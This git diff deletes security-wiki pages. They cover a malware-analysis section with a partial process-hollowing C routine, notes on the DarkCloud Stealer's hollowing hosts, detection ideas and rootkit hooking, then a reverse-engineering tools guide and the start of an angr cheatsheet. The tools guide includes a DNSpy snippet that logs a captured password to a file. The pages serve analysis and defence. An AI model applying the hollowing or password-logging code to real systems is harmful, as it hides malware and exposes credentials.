-                                 MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
-  // 4-5. copy headers & sections …
-  // 6. write new image base into PEB and set Eip
-  WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
-  ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
-  SetThreadContext(pi.hThread,&ctx);
-  // 7. run!
-  ResumeThread(pi.hThread);
-}
-```
-
-Practical notes observed in the **DarkCloud Stealer** campaign:
-
-* The loader picked `RegAsm.exe` (part of the .NET Framework) as host – a signed binary unlikely to draw attention.
-* The decrypted VB6 stealer (`holographies.exe`) is *not* dropped on disk; it only ever exists inside the hollowed process making static detection harder.
-* Sensitive strings (regexes, paths, Telegram credentials) are **RC4-encrypted** per-string and only decrypted at runtime, further complicating memory scanning.
-
-Detection ideas:
-* Alert on `CREATE_SUSPENDED` processes that never create GUI/console windows before a memory region is allocated as **RWX** (rare for benign code).
-* Look for a call sequence `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` across different processes.
-* Unusual use of trusted developer utilities as hollowing hosts, especially `MSBuild.exe`, `RegAsm.exe`, `rundll32.exe`, parented by short-lived loaders.
-* Hunt for `msbuild.exe` spawned from user-writable paths or without corresponding `.sln/.proj` context then making outbound connections (ATT&CK T1127.001 + T1055.012).
-
-Common host processes and path resolution
-- `MSBuild.exe` is frequently chosen as a hollowing host to blend with developer tooling. Loaders often search architecture-appropriate locations:
-  - `C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe`
-  - `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe`
-  - `C:\Windows\System32\MSBuild.exe`
-  - `C:\Windows\SysWOW64\MSBuild.exe`
-- Select the host matching the current payload/OS architecture before calling `CreateProcess(..., CREATE_SUSPENDED, ...)`.
-
-
-
-## Hooking
-
-- The **SSDT** (**System Service Descriptor Table**) points to kernel functions (ntoskrnl.exe) or GUI driver (win32k.sys) so user processes can call these functions.
-  - A rootkit may modify these pointer to addresses that he controls
-- **IRP** (**I/O Request Packets**) transmit pieces of data from one component to another. Almost everything in the kernel uses IRPs and each device object has its own function table that can be hooked: DKOM (Direct Kernel Object Manipulation)
-- The **IAT** (**Import Address Table**) is useful to resolve dependencies. It's possible to hook this table in order to hijack the code that will be called.
-- **EAT** (**Export Address Table**) Hooks. This hooks can be done from **userland**. The goal is to hook exported functions by DLLs.
-- **Inline Hooks**: This type are difficult to achieve. This involve modifying the code of the functions itself. Maybe by putting a jump at the beginning of this.
-
-
-## References
-
-- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
-- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
-- [Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers](https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/)
-- [MITRE ATT&CK – Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)](https://attack.mitre.org/techniques/T1127/001/)
-- [VMDetector – virtualization checks (open-source)](https://github.com/robsonfelix/VMDetector)
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md
deleted file mode 100644
index afb35f75285..00000000000
--- a/src/reversing/reversing-tools-basic-methods/README.md
+++ /dev/null
@@ -1,539 +0,0 @@
-# Reversing Tools & Basic Methods
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## ImGui Based Reversing tools
-
-Software:
-
-- ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
-
-## Wasm decompiler / Wat compiler
-
-Online:
-
-- Use [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) to **decompile** from wasm (binary) to wat (clear text)
-- Use [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) to **compile** from wat to wasm
-- you can also try to use [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) to decompile
-
-Software:
-
-- [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
-- [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
-
-## .NET decompiler
-
-### [dotPeek](https://www.jetbrains.com/decompiler/)
-
-dotPeek is a decompiler that **decompiles and examines multiple formats**, including **libraries** (.dll), **Windows metadata file**s (.winmd), and **executables** (.exe). Once decompiled, an assembly can be saved as a Visual Studio project (.csproj).
-
-The merit here is that if a lost source code requires restoration from a legacy assembly, this action can save time. Further, dotPeek provides handy navigation throughout the decompiled code, making it one of the perfect tools for **Xamarin algorithm analysis.**
-
-### [.NET Reflector](https://www.red-gate.com/products/reflector/)
-
-With a comprehensive add-in model and an API that extends the tool to suit your exact needs, .NET reflector saves time and simplifies development. Let's take a look at the plethora of reverse engineering services this tool provides:
-
-- Provides an insight into how the data flows through a library or component
-- Provides insight into the implementation and usage of .NET languages and frameworks
-- Finds undocumented and unexposed functionality to get more out of the APIs and technologies used.
-- Finds dependencies and different assemblies
-- Tracks down the exact location of errors in your code, third-party components, and libraries.
-- Debugs into the source of all the .NET code you work with.
-
-### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
-
-[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): You can have it in any OS (you can install it directly from VSCode, no need to download the git. Click on **Extensions** and **search ILSpy**).\
-If you need to **decompile**, **modify** and **recompile** again you can use [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) or an actively maintained fork of it, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Right Click -> Modify Method** to change something inside a function).
-
-### DNSpy Logging
-
-In order to make **DNSpy log some information in a file**, you could use this snippet:
-
-```cs
-using System.IO;
-path = "C:\\inetpub\\temp\\MyTest2.txt";
-File.AppendAllText(path, "Password: " + password + "\n");
-```
-
-### DNSpy Debugging
-
-In order to debug code using DNSpy you need to:
-
-First, change the **Assembly attributes** related to **debugging**:
-
-![DNSpy Logging - DNSpy Debugging: First, change the Assembly attributes related to debugging](<../../images/image (973).png>)
-
-From:
-
-```aspnet
-[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
-```
-
-To:
-
-```
-[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
-DebuggableAttribute.DebuggingModes.DisableOptimizations |
-DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
-DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
-```
-
-And click on **compile**:
-
-![DNSpy Logging - DNSpy Debugging: And click on compile](<../../images/image (314) (1).png>)
-
-Then save the new file via _**File >> Save module...**_:
-
-![DNSpy Logging - DNSpy Debugging: Then save the new file via File Save module](<../../images/image (602).png>)
-
-This is necessary because if you don't do this, at **runtime** several **optimisations** will be applied to the code and it could be possible that while debugging a **break-point is never hit** or some **variables don't exist**.
-
-Then, if your .NET application is being **run** by **IIS** you can **restart** it with:
-
-```
-iisreset /noforce
-```
-
-Then, in order to start debugging you should close all the opened files and inside the **Debug Tab** select **Attach to Process...**:
-
-![DNSpy Logging - DNSpy Debugging: Then, in order to start debugging you should close all the opened files and inside the Debug Tab select Attach to Process](<../../images/image (318).png>)
-
-Then select **w3wp.exe** to attach to the **IIS server** and click **attach**:
-
-![DNSpy Logging - DNSpy Debugging: Then select w3wp.exe to attach to the IIS server and click attach](<../../images/image (113).png>)
-
-Now that we are debugging the process, it's time to stop it and load all the modules. First click on _Debug >> Break All_ and then click on _**Debug >> Windows >> Modules**_:
-
-![DNSpy Logging - DNSpy Debugging: Now that we are debugging the process, it's time to stop it and load all the modules. First click on Debug Break All and then click on Debug Windows Modules](<../../images/image (132).png>)
-
-![DNSpy Logging - DNSpy Debugging: Now that we are debugging the process, it's time to stop it and load all the modules. First click on Debug Break All and then click on Debug Windows Modules](<../../images/image (834).png>)
-
-Click any module on **Modules** and select **Open All Modules**:
-
-![DNSpy Logging - DNSpy Debugging: Click any module on Modules and select Open All Modules](<../../images/image (922).png>)
-
-Right click any module in **Assembly Explorer** and click **Sort Assemblies**:
-
-![DNSpy Logging - DNSpy Debugging: Right click any module in Assembly Explorer and click Sort Assemblies](<../../images/image (339).png>)
-
-## Java decompiler
-
-[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
-[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
-
-## Debugging DLLs
-
-### Using IDA
-
-- **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe)
-- Select **Windbg** debugger
-- Select "**Suspend on library load/unload**"
-
-![Debugging DLLs - Using IDA: Select " Suspend on library load/unload "](<../../images/image (868).png>)
-
-- Configure the **parameters** of the execution putting the **path to the DLL** and the function that you want to call:
-
-![Debugging DLLs - Using IDA: Configure the parameters of the execution putting the path to the DLL and the function that you want to call](<../../images/image (704).png>)
-
-Then, when you start debugging **the execution will be stopped when each DLL is loaded**, then, when rundll32 load your DLL the execution will be stopped.
-
-But, how can you get to the code of the DLL that was lodaded? Using this method, I don't know how.
-
-### Using x64dbg/x32dbg
-
-- **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe)
-- **Change the Command Line** ( _File --> Change Command Line_ ) and set the path of the dll and the function that you want to call, for example: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
-- Change _Options --> Settings_ and select "**DLL Entry**".
-- Then **start the execution**, the debugger will stop at each dll main, at some point you will **stop in the dll Entry of your dll**. From there, just search for the points where you want to put a breakpoint.
-
-Notice that when the execution is stopped by any reason in win64dbg you can see **in which code you are** looking in the **top of the win64dbg window**:
-
-![Using IDA - Using x64dbg/x32dbg: Notice that when the execution is stopped by any reason in win64dbg you can see in which code you are looking in the top of the win64dbg window](<../../images/image (842).png>)
-
-Then, looking to this ca see when the execution was stopped in the dll you want to debug.
-
-## GUI Apps / Videogames
-
-[**Cheat Engine**](https://www.cheatengine.org/downloads.php) is a useful program to find where important values are saved inside the memory of a running game and change them. More info in:
-
-
-{{#ref}}
-cheat-engine.md
-{{#endref}}
-
-[**PiNCE**](https://github.com/korcankaraokcu/PINCE) is a front-end/reverse engineering tool for the GNU Project Debugger (GDB), focused on games. However, it can be used for any reverse-engineering related stuff
-
-[**Decompiler Explorer**](https://dogbolt.org/) is a web front-end to a number of decompilers. This web service lets you compare the output of different decompilers on small executables.
-
-## ARM & MIPS
-
-
-{{#ref}}
-https://github.com/nongiach/arm_now
-{{#endref}}
-
-## Shellcodes
-
-### Debugging a shellcode with blobrunner
-
-[**Blobrunner**](https://github.com/OALabs/BlobRunner) will **allocate** the **shellcode** inside a space of memory, will **indicate** you the **memory address** were the shellcode was allocated and will **stop** the execution.\
-Then, you need to **attach a debugger** (Ida or x64dbg) to the process and put a **breakpoint the indicated memory address** and **resume** the execution. This way you will be debugging the shellcode.
-
-The releases github page contains zips containing the compiled releases: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
-You can find a slightly modified version of Blobrunner in the following link. In order to compile it just **create a C/C++ project in Visual Studio Code, copy and paste the code and build it**.
-
-
-{{#ref}}
-blobrunner.md
-{{#endref}}
-
-### Debugging a shellcode with jmp2it
-
-[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)is very similar to blobrunner. It will **allocate** the **shellcode** inside a space of memory, and start an **eternal loop**. You then need to **attach the debugger** to the process, **play start wait 2-5 secs and press stop** and you will find yourself inside the **eternal loop**. Jump to the next instruction of the eternal loop as it will be a call to the shellcode, and finally you will find yourself executing the shellcode.
-
-![Debugging a shellcode with blobrunner - Debugging a shellcode with jmp2it: jmp2it is very similar to blobrunner. It will allocate the shellcode inside a space of memory, and start an...](<../../images/image (509).png>)
-
-You can download a compiled version of [jmp2it inside the releases page](https://github.com/adamkramer/jmp2it/releases/).
-
-### Debugging shellcode using Cutter
-
-[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) is the GUI of radare. Using cutter you can emulate the shellcode and inspect it dynamically.
-
-Note that Cutter allows you to "Open File" and "Open Shellcode". In my case when I opened the shellcode as a file it decompiled it correctly, but when I opened it as a shellcode it didn't:
-
-![Debugging a shellcode with jmp2it - Debugging shellcode using Cutter: Note that Cutter allows you to "Open File" and "Open Shellcode". In my case when I opened the shellcode as a file it...](<../../images/image (562).png>)
-
-In order to start the emulation in the place you want to, set a bp there and apparently cutter will automatically start the emulation from there:
-
-![Debugging a shellcode with jmp2it - Debugging shellcode using Cutter: In order to start the emulation in the place you want to, set a bp there and apparently cutter will automatically...](<../../images/image (589).png>)
-
-![Debugging a shellcode with jmp2it - Debugging shellcode using Cutter: In order to start the emulation in the place you want to, set a bp there and apparently cutter will automatically...](<../../images/image (387).png>)
-
-You can see the stack for example inside a hex dump:
-
-![Debugging a shellcode with jmp2it - Debugging shellcode using Cutter: You can see the stack for example inside a hex dump](<../../images/image (186).png>)
-
-### Deobfuscating shellcode and getting executed functions
-
-You should try [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
-It will tell you things like **which functions** is the shellcode using and if the shellcode is **decoding** itself in memory.
-
-```bash
-scdbg.exe -f shellcode # Get info
-scdbg.exe -f shellcode -r #show analysis report at end of run
-scdbg.exe -f shellcode -i -r #enable interactive hooks (file and network) and show analysis report at end of run
-scdbg.exe -f shellcode -d #Dump decoded shellcode
-scdbg.exe -f shellcode /findsc #Find offset where starts
-scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
-```
-
-scDbg also counts with a graphical launcher where you can select the options you want and execute the shellcode
-
-![Debugging shellcode using Cutter - Deobfuscating shellcode and getting executed functions: scDbg also counts with a graphical launcher where you can select the options you want and...](<../../images/image (258).png>)
-
-The **Create Dump** option will dump the final shellcode if any change is done to the shellcode dynamically in memory (useful to download the decoded shellcode). The **start offset** can be useful to start the shellcode at a specific offset. The **Debug Shell** option is useful to debug the shellcode using the scDbg terminal (however I find any of the options explained before better for this matter as you will be able to use Ida or x64dbg).
-
-### Disassembling using CyberChef
-
-Upload your shellcode file as input and use the following recipe to decompile it: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/index.html#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
-
-## MBA obfuscation deobfuscation
-
-**Mixed Boolean-Arithmetic (MBA)** obfuscation hides simple expressions such as `x + y` behind formulas that mix arithmetic (`+`, `-`, `*`) and bitwise operators (`&`, `|`, `^`, `~`, shifts). The important part is that these identities are usually only correct under **fixed-width modular arithmetic**, so carries and overflows matter:
-
-```c
-(x ^ y) + 2 * (x & y) == x + y
-```
-
-If you simplify this kind of expression with generic algebra tooling you can easily get a wrong result because the bit-width semantics were ignored.
-
-### Practical workflow
-
-1. **Keep the original bit-width** from the lifted code/IR/decompiler output (`8/16/32/64` bits).
-2. **Classify the expression** before trying to simplify it:
-   - **Linear**: weighted sums of bitwise atoms
-   - **Semilinear**: linear plus constant masks such as `x & 0xFF`
-   - **Polynomial**: products appear
-   - **Mixed**: products and bitwise logic are interleaved, often with repeated subexpressions
-3. **Verify every candidate rewrite** with random testing or an SMT proof. If the equivalence cannot be proven, keep the original expression instead of guessing.
-
-### CoBRA
-
-[**CoBRA**](https://github.com/trailofbits/CoBRA) is a practical MBA simplifier for malware analysis and protected-binary reversing. It classifies the expression and routes it through specialized pipelines instead of applying one generic rewrite pass to everything.
-
-Quick usage:
-
-```bash
-# Recover arithmetic from a logic-heavy MBA
-cobra-cli --mba "(x&y)+(x|y)"
-# x + y
-
-# Preserve fixed-width wraparound semantics
-cobra-cli --mba "(x&0xFF)+(x&0xFF00)" --bitwidth 16
-# x
-
-# Ask CoBRA to prove the rewrite with Z3
-cobra-cli --mba "(a^b)+(a&b)+(a&b)" --verify
-```
-
-Useful cases:
-
-- **Linear MBA**: CoBRA evaluates the expression on Boolean inputs, derives a signature, and races several recovery methods such as pattern matching, ANF conversion, and coefficient interpolation.
-- **Semilinear MBA**: constant-masked atoms are rebuilt with bit-partitioned reconstruction so masked regions remain correct.
-- **Polynomial/Mixed MBA**: products are decomposed into cores and repeated subexpressions can be lifted into temporaries before simplifying the outer relation.
-
-Example of a mixed identity commonly worth trying to recover:
-
-```c
-(x & y) * (x | y) + (x & ~y) * (~x & y)
-```
-
-This can collapse to:
-
-```c
-x * y
-```
-
-### Reversing notes
-
-- Prefer running CoBRA on **lifted IR expressions** or decompiler output after you isolated the exact computation.
-- Use `--bitwidth` explicitly when the expression came from masked arithmetic or narrow registers.
-- If you need a stronger proof step, check the local Z3 notes here:
-
-
-{{#ref}}
-satisfiability-modulo-theories-smt-z3.md
-{{#endref}}
-
-- CoBRA also ships as an **LLVM pass plugin** (`libCobraPass.so`), which is useful when you want to normalize MBA-heavy LLVM IR before later analysis passes.
-- Unsupported carry-sensitive mixed-domain residuals should be treated as a signal to keep the original expression and reason about the carry path manually.
-
-## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
-
-This obfuscator **modifies all the instructions for `mov`**(yeah, really cool). It also uses interruptions to change executions flows. For more information about how does it works:
-
-- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
-- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
-
-If you are lucky [demovfuscator](https://github.com/kirschju/demovfuscator) will deofuscate the binary. It has several dependencies
-
-```
-apt-get install libcapstone-dev
-apt-get install libz3-dev
-```
-
-And [install keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
-
-If you are playing a **CTF, this workaround to find the flag** could be very useful: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
-
-## Rust
-
-To find the **entry point** search the functions by `::main` like in:
-
-![Movfuscator - Rust: To find the entry point search the functions by ::main like in](<../../images/image (1080).png>)
-
-In this case the binary was called authenticator, so it's pretty obvious that this is the interesting main function.\
-Having the **name** of the **functions** being called, search for them on the **Internet** to learn about their **inputs** and **outputs**.
-
-### Recovering Rust strings from ELF firmware
-
-In **Rust ELF** binaries, many static strings are not referenced as C-style NUL-terminated pointers. A common `rustc` layout is a **pointer/length tuple** inside **`.data.rel.ro`** pointing into the real string blob stored in **`.rodata`**:
-
-```text
-[8-byte little-endian pointer][8-byte little-endian length]
-```
-
-This means `strings` or default Ghidra analysis may merge adjacent strings or miss cross-references entirely.
-
-Quick workflow:
-
-```bash
-readelf -S <bin>
-objdump -h <bin>
-```
-
-1. Get the virtual address and size of **`.rodata`**.
-2. Enumerate **`.data.rel.ro`** one word at a time.
-3. Treat any value inside the `.rodata` address range as a candidate string pointer.
-4. Treat the next word as the candidate length.
-5. Apply sanity filters (for example, keep lengths between **4** and **100** bytes).
-6. Read exactly `length` bytes from `.rodata` instead of scanning until `0x00`.
-
-Minimal extractor logic:
-
-```python
-for off in range(0, len(data_rel_ro), 8):
-    ptr = u64(data_rel_ro[off:off+8])
-    length = u64(data_rel_ro[off+8:off+16])
-    if rodata_start <= ptr < rodata_end and 4 <= length <= 100:
-        start = ptr - rodata_start
-        print(rodata[start:start+length])
-```
-
-This is especially useful in firmware reversing because recovered Rust strings often reveal **HTTP routes, RPC names, log messages, assertions, filenames, config keys, command handlers, and auth-related logic**.
-
-If Ghidra misses those strings, run a custom script/plugin that applies the same heuristic and creates string data at the referenced `.rodata` offsets. The published `rust-strings` and `RustStrings.py` tools from Pen Test Partners are good references for adapting the idea to other **word sizes, endianness, and section layouts**.
-
-## **Delphi**
-
-For Delphi compiled binaries you can use [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
-
-If you have to reverse a Delphi binary I would suggest you to use the IDA plugin [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
-
-Just press **ATL+f7** (import python plugin in IDA) and select the python plugin.
-
-This plugin will execute the binary and resolve function names dynamically at the start of the debugging. After starting the debugging press again the Start button (the green one or f9) and a breakpoint will hit in the beginning of the real code.
-
-It is also very interesting because if you press a button in the graphic application the debugger will stop in the function executed by that bottom.
-
-## Golang
-
-If you have to reverse a Golang binary I would suggest you to use the IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
-
-Just press **ATL+f7** (import python plugin in IDA) and select the python plugin.
-
-This will resolve the names of the functions.
-
-## Compiled Python
-
-In this page you can find how to get the python code from an ELF/EXE python compiled binary:
-
-
-{{#ref}}
-../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
-{{#endref}}
-
-## GBA - Game Body Advance
-
-If you get the **binary** of a GBA game you can use different tools to **emulate** and **debug** it:
-
-- [**no$gba**](https://problemkaputt.de/gba.htm) (_Download the debug version_) - Contains a debugger with interface
-- [**mgba** ](https://mgba.io)- Contains a CLI debugger
-- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra plugin
-- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra plugin
-
-In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Options --> Emulation Setup --> Controls**_** ** you can see how to press the Game Boy Advance **buttons**
-
-![no$gba controls configuration showing Game Boy Advance button mappings](<../../images/image (581).png>)
-
-When pressed, each **key has a value** to identify it:
-
-```
-A = 1
-B = 2
-SELECT = 4
-START = 8
-RIGHT = 16
-LEFT = 32
-UP = 64
-DOWN = 128
-R = 256
-L = 256
-```
-
-So, in this kind of program, the interesting part will be **how the program treats the user input**. In the address **0x4000130** you will find the commonly found function: **KEYINPUT**.
-
-![Ghidra view of a GBA binary referencing KEYINPUT at address 0x4000130](<../../images/image (447).png>)
-
-In the previous image you can find that the function is called from **FUN_080015a8** (addresses: _0x080015fa_ and _0x080017ac_).
-
-In that function, after some init operations (without any importance):
-
-```c
-void FUN_080015a8(void)
-
-{
-  ushort uVar1;
-  undefined4 uVar2;
-  undefined4 uVar3;
-  ushort uVar4;
-  int iVar5;
-  ushort *puVar6;
-  undefined *local_2c;
-
-  DISPCNT = 0x1140;
-  FUN_08000a74();
-  FUN_08000ce4(1);
-  DISPCNT = 0x404;
-  FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
-  FUN_08000354(&DAT_030000dc,0x3c);
-  uVar4 = DAT_030004d8;
-```
-
-It's found this code:
-
-```c
-  do {
-    DAT_030004da = uVar4; //This is the last key pressed
-    DAT_030004d8 = KEYINPUT | 0xfc00;
-    puVar6 = &DAT_0200b03c;
-    uVar4 = DAT_030004d8;
-    do {
-      uVar2 = DAT_030004dc;
-      uVar1 = *puVar6;
-      if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
-```
-
-The last if is checking **`uVar4`** is in the **last Keys** and not is the current key, also called letting go off a button (current key is stored in **`uVar1`**).
-
-```c
-        if (uVar1 == 4) {
-          DAT_030000d4 = 0;
-          uVar3 = FUN_08001c24(DAT_030004dc);
-          FUN_08001868(uVar2,0,uVar3);
-          DAT_05000000 = 0x1483;
-          FUN_08001844(&DAT_0200ba18);
-          FUN_08001844(&DAT_0200ba20,&DAT_0200ba40);
-          DAT_030000d8 = 0;
-          uVar4 = DAT_030004d8;
-        }
-        else {
-          if (uVar1 == 8) {
-            if (DAT_030000d8 == 0xf3) {
-              DISPCNT = 0x404;
-              FUN_08000dd0(&DAT_02008aac,0x6000000,&DAT_030000dc);
-              FUN_08000354(&DAT_030000dc,0x3c);
-              uVar4 = DAT_030004d8;
-            }
-          }
-          else {
-            if (DAT_030000d4 < 8) {
-              DAT_030000d4 = DAT_030000d4 + 1;
-              FUN_08000864();
-              if (uVar1 == 0x10) {
-                DAT_030000d8 = DAT_030000d8 + 0x3a;
-```
-
-In the previous code you can see that we are comparing **uVar1** (the place where the **value of the pressed button** is) with some values:
-
-- First, it's compared with the **value 4** (**SELECT** button): In the challenge this button clears the screen
-- Then, it's comparing it with the **value 8** (**START** button): In the challenge this checks is the code is valid to get the flag.
-  - In this case the var **`DAT_030000d8`** is compared with 0xf3 and if the value is the same some code is executed.
-- In any other cases, some cont (`DAT_030000d4`) is checked. It's a cont because it's adding 1 right after entering in the code.\
-  **I**f less than 8 something that involves **adding** values to **`DAT_030000d8`** is done (basically it's adding the values of the keys pressed in this variable as long as the cont is less than 8).
-
-So, in this challenge, knowing the values of the buttons, you needed to **press a combination with a length smaller than 8 that the resulting addition is 0xf3.**
-
-**Reference for this tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
-
-## Game Boy
-
-
-{{#ref}}
-https://www.youtube.com/watch?v=VVbRe7wr3G4
-{{#endref}}
-
-## Courses
-
-- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
-- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
-
-## References
-
-- [Simplifying MBA obfuscation with CoBRA](https://blog.trailofbits.com/2026/04/03/simplifying-mba-obfuscation-with-cobra/)
-- [Trail of Bits CoBRA repository](https://github.com/trailofbits/CoBRA)
-- [Decoding Rust strings - Pen Test Partners](https://www.pentestpartners.com/security-blog/decoding-rust-strings/)
-- [pentestpartners/reverse-engineering - rust-strings](https://github.com/pentestpartners/reverse-engineering/blob/main/rust-strings)
-- [pentestpartners/reverse-engineering - RustStrings.py](https://github.com/pentestpartners/reverse-engineering/blob/main/RustStrings.py)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing/reversing-tools-basic-methods/angr/README.md b/src/reversing/reversing-tools-basic-methods/angr/README.md
deleted file mode 100644
index 87e02f5d673..00000000000
--- a/src/reversing/reversing-tools-basic-methods/angr/README.md
+++ /dev/null
@@ -1,216 +0,0 @@
-# Angr
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-Part of this cheatsheet is based on the [angr documentation](https://docs.angr.io/_/downloads/en/stable/pdf/).
-
-## Installation
-
-```bash
-sudo apt-get install python3-dev libffi-dev build-essential
-python3 -m pip install --user virtualenv
-python3 -m venv ang
-source ang/bin/activate
-pip install angr
-```
-
-## Basic Actions
-
-```python
-import angr
-import monkeyhex # this will format numerical results in hexadecimal
-#Load binary
-proj = angr.Project('/bin/true')
-
-#BASIC BINARY DATA
-proj.arch #Get arch "<Arch AMD64 (LE)>"
-proj.arch.name #'AMD64'
-proj.arch.memory_endness #'Iend_LE'
-proj.entry #Get entrypoint "0x4023c0"
-proj.filename #Get filename "/bin/true"
-
-#There are specific options to load binaries
-#Usually you won't need to use them but you could
-angr.Project('examples/fauxware/fauxware', main_opts={'backend': 'blob', 'arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}})
-```
-
-## Loaded and Main object information
-
-### Loaded Data
-
-```python
-#LOADED DATA
-proj.loader #<Loaded true, maps [0x400000:0x5004000]>
-proj.loader.min_addr #0x400000
-proj.loader.max_addr #0x5004000
-proj.loader.all_objects #All loaded
-proj.loader.shared_objects #Loaded binaries
-"""
-OrderedDict([('true', <ELF Object true, maps [0x400000:0x40a377]>),
-             ('libc.so.6',
-              <ELF Object libc-2.31.so, maps [0x500000:0x6c4507]>),
-             ('ld-linux-x86-64.so.2',
-              <ELF Object ld-2.31.so, maps [0x700000:0x72c177]>),
-             ('extern-address space',
-              <ExternObject Object cle##externs, maps [0x800000:0x87ffff]>),
-             ('cle##tls',
-              <ELFTLSObjectV2 Object cle##tls, maps [0x900000:0x91500f]>)])
-"""
-proj.loader.all_elf_objects #Get all ELF objects loaded (Linux)
-proj.loader.all_pe_objects #Get all binaries loaded (Windows)
-proj.loader.find_object_containing(0x400000)#Get object loaded in an address "<ELF Object fauxware, maps [0x400000:0x60105f]>"
-```
-
-### Main Object
-
-```python
-#Main Object (main binary loaded)
-obj = proj.loader.main_object #<ELF Object true, maps [0x400000:0x60721f]>
-obj.execstack #"False" Check for executable stack
-obj.pic #"True" Check PIC
-obj.imports #Get imports
-obj.segments #<Regions: [<ELFSegment flags=0x5, relro=0x0, vaddr=0x400000, memsize=0xa74, filesize=0xa74, offset=0x0>, <ELFSegment flags=0x4, relro=0x1, vaddr=0x600e28, memsize=0x1d8, filesize=0x1d8, offset=0xe28>, <ELFSegment flags=0x6, relro=0x0, vaddr=0x601000, memsize=0x60, filesize=0x50, offset=0x1000>]>
-obj.find_segment_containing(obj.entry) #Get segment by address
-obj.sections #<Regions: [<Unnamed | offset 0x0, vaddr 0x0, size 0x0>, <.interp | offset 0x238, vaddr 0x400238, size 0x1c>, <.note.ABI-tag | offset 0x254, vaddr 0x400254, size 0x20>, <.note.gnu.build-id ...
-obj.find_section_containing(obj.entry) #Get section by address
-obj.plt['strcmp'] #Get plt address of a funcion (0x400550)
-obj.reverse_plt[0x400550] #Get function from plt address ('strcmp')
-```
-
-### Symbols and Relocations
-
-```python
-strcmp = proj.loader.find_symbol('strcmp') #<Symbol "strcmp" in libc.so.6 at 0x1089cd0>
-
